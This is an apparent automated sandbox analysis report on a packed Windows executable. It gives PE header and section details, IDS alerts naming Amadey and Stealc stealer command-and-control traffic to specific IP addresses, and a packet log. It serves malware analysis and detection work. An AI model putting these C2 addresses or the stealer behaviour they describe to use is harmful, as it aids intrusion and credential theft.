File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3CD8F11E1Ah
punpckhbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
mov ah, 90h
dec dword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	7330c65faf9a43e9b13546f0f9b3dc94	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	d3c62206743bff66094f20aa6c866f56	False	0.80078125	data	6.050796496254671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a8000	0x200	369b1eb968e549fbd2b28fcf511014c2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
usnqrurm	0x4f4000	0x19f000	0x19ec00	15c3a7ce4e6c348327a125e007cfbe93	False	0.9946927742616034	data	7.953332596858769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lwawxdwo	0x693000	0x1000	0x400	13a0742c570d5b3d4aec637636e8143f	False	0.8076171875	data	6.351913056155619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	85c1f109cd04b9ea5877be37196593f5	False	0.06146599264705882	DOS executable (COM)	0.7592298339832609	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69296c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-27T11:14:05.772624+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50129	TCP
2024-11-27T11:14:16.768970+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:17.238248+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:17.359770+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49718	TCP
2024-11-27T11:14:17.694613+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:17.824210+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49718	TCP
2024-11-27T11:14:19.166880+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:19.952936+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-27T11:14:43.382015+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:45.349802+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:46.812556+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:47.928522+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:51.932775+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:52.998553+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49830	185.215.113.206	80	TCP
2024-11-27T11:14:58.861214+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49957	185.215.113.16	80	TCP
2024-11-27T11:16:06.258462+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50123	185.215.113.43	80	TCP
2024-11-27T11:16:10.758557+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50134	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 11:14:05.772624016 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:05.774300098 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:05.774370909 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:05.774472952 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:05.895332098 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:05.895396948 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:05.895483971 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:06.328277111 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:06.383245945 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:06.529349089 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:06.530320883 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:06.650490046 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:07.084168911 CET	443	49714	20.198.118.190	192.168.2.6
Nov 27, 2024 11:14:07.133296013 CET	49714	443	192.168.2.6	20.198.118.190
Nov 27, 2024 11:14:07.367739916 CET	49674	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:07.367739916 CET	49673	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:07.695847988 CET	49672	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:10.547822952 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:10.547908068 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:10.547991037 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:10.548656940 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:10.548693895 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:12.830069065 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:12.830209970 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:12.918257952 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:12.918304920 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:12.919044018 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:12.953752995 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:12.953819036 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:12.953834057 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:12.960026026 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:13.007335901 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:13.627976894 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:13.628166914 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:13.628228903 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:13.628351927 CET	49716	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:13.628386021 CET	443	49716	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:13.981482029 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:13.981538057 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:13.981630087 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:13.981904030 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:13.981918097 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:14.650429964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:14.771275997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:14.771394968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:14.772197008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:14.892637968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:15.408680916 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.408745050 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.427396059 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.427438021 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.427539110 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.427675009 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.427687883 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.437159061 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.437237978 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.437586069 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.437721968 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:15.437737942 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.528940916 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.528959036 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.528969049 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.528984070 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.529047012 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:15.772170067 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:15.772250891 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:15.817111969 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:15.817138910 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:15.817420959 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:15.830166101 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:15.875328064 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.023272991 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.023293018 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.023370028 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:16.027434111 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.027597904 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.027662039 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:16.036057949 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.036166906 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.036251068 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:16.044361115 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.044415951 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.044487953 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:16.052618980 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.052803040 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:16.052953959 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:16.159079075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:16.159332037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:16.265542984 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.265568972 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.265583992 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.265631914 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.265645027 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.265700102 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.302551031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:16.422489882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:16.450845003 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.450871944 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.450912952 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.450936079 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.450954914 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.450973988 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.496613026 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.496629953 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.496686935 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.496704102 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.496750116 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.625180006 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:16.625212908 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:16.625278950 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:16.628731012 CET	49721	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:16.628745079 CET	443	49721	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:16.634484053 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.634506941 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.634568930 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.634588003 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.634633064 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.666703939 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.666742086 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.666774988 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.666790962 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.666812897 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.666834116 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.686640978 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.686671972 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.686711073 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.686726093 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.686754942 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.686779022 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.707526922 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.707566023 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.707611084 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.707629919 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.707660913 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.707676888 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.768901110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:16.768970013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:16.783238888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:16.826839924 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.826873064 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.826896906 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.826914072 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.826931953 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.826956034 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.843194962 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.843223095 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.843259096 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.843275070 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.843318939 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.843318939 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.856524944 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.856565952 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.856590986 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.856606007 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.856628895 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.856642008 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.871865034 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.871893883 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.871943951 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.871958971 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.871989965 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.871999979 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.887257099 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.887273073 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.887345076 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.887361050 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.887397051 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.889451981 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.889494896 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.889533997 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.889571905 CET	49717	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.889586926 CET	443	49717	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.903196096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:16.950290918 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.950330973 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.950392962 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.952510118 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.952565908 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.952625990 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953114986 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953160048 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.953217983 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953357935 CET	49722	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953373909 CET	443	49722	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.953653097 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953694105 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.953742027 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953949928 CET	49725	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.953963995 CET	443	49725	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.954135895 CET	49723	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.954149961 CET	443	49723	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.954293013 CET	49724	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.954302073 CET	443	49724	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.954525948 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.954536915 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.954583883 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.954718113 CET	49726	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:16.954725981 CET	443	49726	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:16.976993084 CET	49673	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:16.977003098 CET	49674	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:17.238168955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.238248110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.238291979 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.238336086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.239768982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:17.305258036 CET	49672	443	192.168.2.6	173.222.162.64
Nov 27, 2024 11:14:17.320310116 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.320434093 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.323853016 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.324058056 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.336122990 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.336126089 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.336143017 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.336148977 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.336386919 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.336445093 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.337342978 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.337342978 CET	49719	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.337378025 CET	443	49719	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.337673903 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.337673903 CET	49720	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:17.337721109 CET	443	49720	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:17.359770060 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694473028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694488049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694499969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694591045 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694616079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:17.694612980 CET	49718	80	192.168.2.6	185.215.113.206
